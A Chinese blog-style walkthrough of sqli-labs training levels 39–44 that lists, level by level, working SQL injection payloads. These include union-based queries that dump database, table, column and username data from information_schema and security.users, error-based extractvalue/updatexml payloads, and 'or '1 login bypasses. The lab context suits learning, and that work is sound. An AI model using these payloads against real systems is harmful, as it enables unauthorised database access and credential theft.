sqli-labs(8)

39.

通过输入
1  成功
1' 报错
1" 报错
1 and 1=1 --+ 成功
1 and 1=2 --+ 失败
知道是数字型注入
-1 union select 1,2,3 --+

-1 union select 1,database(),3 --+

-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

-1 union select 1,(select group_concat(username) from security.users),3 --+

40.

1'and 1=1 --+ 失败

1"and 1=1 --+ 成功
1"and 1=2 --+ 成功

1') and 1=1 --+ 成功
1') and 1=2 --+ 失败

得到是‘)

-1')union select 1,2,3 --+

-1')union select 1,database(),3 --+

-1')union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

-1')union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

-1')union select 1,(select group_concat(username) from security.users),3 --+

41.

输入
1  成功
1' 无回显
1" 无回显
1 and 1=1 --+ 成功
1 and 1=2 --+ 无回显
得到是数字型注入

-1 union select 1,2,3 --+

-1 union select 1,database(),3 --+

-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

-1 union select 1,(select group_concat(username) from security.users),3 --+

42.

在用户处输入
1' 显示用户错误
1" 显示用户错误
无注入点
在密码处输入
1' 页面返回报错信息
1'# 显示用户错误
得到1'# 注入点在密码处

使用报错注入

1'and(extractvalue(1,concat(0x5c,database())))#
1'and(updatexml(1,concat(0x7e,database(),0x7e),1))#

1'and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))#
1'and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

1'and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))#
1'and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))#

1'and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))#
1'and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))#

43.

和上面一样测试

发现还有个括号

1’)#

1')and(extractvalue(1,concat(0x5c,database())))#
1')and(updatexml(1,concat(0x7e,database(),0x7e),1))#

1')and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))#
1')and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

1')and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))#
1')and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))#

1')and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))#
1')and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))# 

44.

这里不会返回报错信息不能通过报错信息来判断

这里通过or 1来判断

用户
'or '1 登录失败
"or "1 登录失败


密码
'or '1 登录成功
"or "1 登录失败

1'union select 1,database(),3 #

使用堆叠注入不用and or 了

1'union select 1,2,3 #

1'union select 1,database(),3 #

1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #

1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 #

1'union select 1,(select group_concat(username) from security.users),3 #

  • 6
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值